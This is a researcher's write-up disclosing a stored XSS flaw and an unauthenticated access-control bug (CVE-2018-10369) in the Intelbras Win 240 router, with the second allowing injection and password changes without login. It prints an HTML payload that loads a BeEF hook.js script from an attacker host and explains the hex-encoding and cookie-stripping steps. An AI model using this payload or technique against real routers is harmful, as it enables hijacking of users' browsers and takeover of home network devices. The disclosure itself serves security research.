Router Hacking: Intelbras Win 240 V1.1.0
Introduction
One of the most common faults committed by web developers in recent times is Cross Site Scripting (XSS), to the detriment of that, several applications retains this failure, among them devices like routers and switches are one of the most affected. This article aims to demonstrate two flaws found in the Intelbras Win 240 V1.1.0 router.
Hack The Planet
Recently during my security tests for purely educational purposes I considered trying to find some vulnerability in my router, after several attempts and a few hours of searching I ended up discovering a “persistent Xss” failure in one of the administration pages, and to my surprise I discovered another failure even more critical, come on I’ll show you how I managed to compromise this device.
Discovering the Failure
To find anything first, I need to search, and in the hacking is no different, I started my search by manually testing all the parameters that I saw in front of, in that case, the application blocked the number of characters inserted in each field, making it impossible to insert my payload, besides of converting the data to hexadecimal before they are processed, however that is not a problem. After encoding the payload to hexadecimal, I made the request passing the payload directly into the burp suite and XSS Storange detected!
Honestly the moment the application ran the payload I was extremely surprised, did not believe my router was vulnerable, and that’s the big problem, most of the time the home networks have vulnerable routers with known and unknown faults as is the case, but this is not only, this hack ends with a much more interesting discovery.
After having found the XSS Storange I did not content myself with running a simple alert (“XSS”), I needed a more intriguing PoC and in a few seconds I had an idea, to join that XSS Storange fault with Beef XSS.
Using Beef XSS is very simple, all known pentest distributions have the same by default, so it is only necessary to start it, in which case I used Kali Linux. With Beef-Xss started it’s time to make the web application run the malicious javascript code of the beef and to simplify this process, I made a page in html that ran the “hook.js” script of the beef, so just exploring the Xss Storange of the router using this technique.
Page we use payload:
<html>
<script src=’http://10.0.0.102:3000/hook.js'></script>
<img src=’http://10.0.0.102/bob.gif'>
</html>
At this point, just carry out the attack in the same way that we run that simple alert (“XSS”), but this time I’ll use a different tag. With the burp open and intercepting the communication I inject the payload.
Now that the application is pulling the malicious script from our page, when a user enters that section of the router the script will be executed and we will gain the hook in the user’s browser which in case is the victim.
From here I was already happy with the exploration and I was already writing part of this article, however I realized that it did not make so much sense this attack, yes the XSS is a fault that must be taken seriously and carries a great risk as shown in PoC above, however I had to be logged in as an administrator to then exploit the vulnerability. It was there that I had a simple and somewhat banal idea, had no hope that would work and be part of a second discovery.
From one failure to another
We all know that in the exploration shown, the requests were being intercepted by the burp suite, modified and then sent to the web page, so the requests were made by passing the authentication cookie. And that was the reason that made me “tweak” a little more, I thought to myself if I did not have a way to make the requests without being authenticated, because thus an unauthenticated attacker could exploit the vulnerability, what I did was very simple, make the request with the authentication cookie I removed the request from all the information that was related to cookie and session, that is, I made a request without any authentication, of course without any hope that it worked, but to my surprise the router accepted the request and so I was able to exploit XSS without being authenticated through an Incorrect Access Control failure, my reaction was very similar to the gif below:
In the image below it is possible to see the “pure” request being made without any type of authentication and the router accepting it.
From that moment I was somewhat more satisfied, because now the exploration had a different meaning and could be made by any user of this network, though this is not only, while I analyzed the situation I had another idea, since the router accepted the XSS payload insertion request, I’m going to make a request for a password change without being authenticated and that’s where the thing got more interesting, because as in the above demonstration the router accepted. To facilitate the exploration I made a python exploit, which, when running, asks for a new password and performs the password change automatically.
I hope you have understood my purpose with this article, however much an application has a certain level of security nothing is completely safe, we are entering the stage of IoT devices and those are the ones with the most vulnerabilities like these or even more critical.
Obs: The demonstrations here are purely for educational purposes, no other device has been compromised.
Att:
CVE attributed to failure of Incorrect Access Control: CVE-2018–10369.